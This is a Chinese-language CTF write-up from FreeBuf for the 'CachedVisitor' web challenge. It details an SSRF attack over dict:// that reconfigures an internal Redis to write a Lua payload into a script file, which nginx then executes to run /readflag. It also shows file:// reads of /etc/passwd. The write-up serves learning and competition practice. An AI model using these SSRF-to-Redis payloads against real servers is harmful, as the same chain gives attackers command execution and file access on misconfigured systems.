freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

2024年软件系统安全赛攻防赛web题CachedVisitor题解
vagary 2025-01-07 17:31:57 83359
所属地 山东省

先给payload:

dict://127.0.0.1:6379/info // 测试ssrf
dict://127.0.0.1:6379/flushall
dict://127.0.0.1:6379/config set dir /scripts
dict://127.0.0.1:6379/config set dbfilename visit.script
dict://127.0.0.1:6379/set shell "\n\n\n##LUA_START##ngx.say(io.popen('/readflag'):read('*a'))##LUA_END##\n\n\n"
dict://127.0.0.1:6379/save

题目给的docker文件,点开html这是个很常规的SSRF测试点,而且有redis配置文件,说明内网有redis,部署了下docker看了下并没有配置计划任务,没有ssh,而且redis.conf中配置enable-module-command no,后续主从复制会出现不能加载模块的问题,后续redis提权排除写计划任务,写ssh公钥,以及主从复制,所以尝试写文件的方式利用

docker部署本地环境(windows要先登录不登录拖去不了镜像)

docker build -t test .

然后再docker上添加端口映射后直接运行容器就行
1736235530_677cda0a808aa22199e30.png!small

随便输入一个网址他会去请求改网页内容并返回
1736235747_677cdae37647a116940a9.png!small在redis.conf中看到端口为63791736235875_677cdb6323ef48553db26.png!small

直接测试ssrf
dict://127.0.0.1:6379/info

1736235917_677cdb8d56184a1890188.png!small

存在ssrf,在dockerfile中看到flag设置了root权限直接用redis读取不能读取,而readflag是一个可执行文件,有设置了suid(就是普通用户在执行readflag时具有root权限),显然是要执行readflag才能读取到flag。
1736235981_677cdbcd45a26a4f28c4c.png!small这里验证file://协议直接读取不能读取/flag,图一读取/etc/passwd验证可以使用file://协议读取文件,图二验证直接读取权限不够。

1736236142_677cdc6e6b508bf8a5dff.png!small

读取失败了

1736236231_677cdcc7d45cefd1bb723.png!small

尝试利用redis提升权限到普通用户级别并执行命令。

这里想到两个思路一个是用redis保存键值的方式写文件,写入到main.lua在每次访问页面的时候执行main.lua并在写入的命令中执行/readflag读取flag并打印出来。另外一个是写入到visit.script中当main.lua执行使会读取visit.script中内容并提去脚本执行。

这里思路一,在redis写入文件时会出现多余的内容,会导致main.lua无法执行,忘记截图了,不过操作方式与思路二相同只是写入路径不同。

思路二,说下思路二为什么可以执行思路一不能执行,关键在这里:
1736236828_677cdf1c1895691100075.png!small由于script_content:match("##LUA_START##(.-)##LUA_END##")再次提取了脚本内容将##LUA_START##和##LUA_END##包裹的内容作为执行语句,所以避免了redis本地存储时的冗余字符。这是写入main.lua是的样子可以看到除了payload还有其他字符,所以无法执行。
1736240806_677ceea6bf0132f038c80.png!small

payload:

dict://127.0.0.1:6379/config set dir /scripts
dict://127.0.0.1:6379/config set dbfilename visit.script

dict://127.0.0.1:6379/flushall   // 清空键值缓存
dict://127.0.0.1:6379/set shell "\n\n\n##LUA_START##ngx.say(io.popen('/readflag'):read('*a'))##LUA_END##\n\n\n"
dict://127.0.0.1:6379/save    // 保存既写入本地文件

1736237916_677ce35cdcf4e74e94822.png!small

最后解释下这一句ngx.say(io.popen('/readflag'):read('*a'))

这行代码是使用 Lua 脚本语言在 Nginx 的嵌入式脚本模块 ngx_lua 中执行的。下面是对这行代码的解释:

  • io.popen('/readflag'):这是 Lua 中的一个函数调用,io.popen用于执行一个外部命令并打开一个管道来读取该命令的输出。这里的/readflag是一个外部命令,通常在一些编程竞赛或安全测试环境中,/readflag这个命令会输出一个特定的字符串(通常是比赛的“flag”或答案).

  • :read('*a'):这是对管道对象调用的read方法,'*a'参数表示读取管道中的全部内容直到结束。

  • ngx.say(...):这是 ngx_lua 模块提供的函数,用于向客户端输出数据。它会将括号内的内容发送到客户端浏览器或客户端程序.

因此,这行代码的总体作用是:在 Nginx 服务器上执行/readflag命令,读取该命令的全部输出,并将输出结果发送给客户端。

另外基于上述方法还有一种思路:由于所有的请求都会记录进redis,所以只需要自己部署个临时web服务器其中的内容放##LUA_START##ngx.say(io.popen('/readflag'):read('*a'))##LUA_END##,这样请求后##LUA_START##ngx.say(io.popen('/readflag'):read('*a'))##LUA_END##就会被记录到redis中,在save使其存储到visit.script中,这样当main.lua执行时,就会读取到visit.script中的##LUA_START##ngx.say(io.popen('/readflag'):read('*a'))##LUA_END##,最后就会执行ngx.say(io.popen('/readflag'):read('*a'))拿到flag。

# SSRF # Redis # Redis未授权访问漏洞
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 vagary 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
vagary LV.3
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 2 关注者
云函数代理项目SCFProxy-Python-tencent
2025-03-03
FastJson漏洞原理及利用
2024-04-14
Redis-未授权访问漏洞
2024-04-06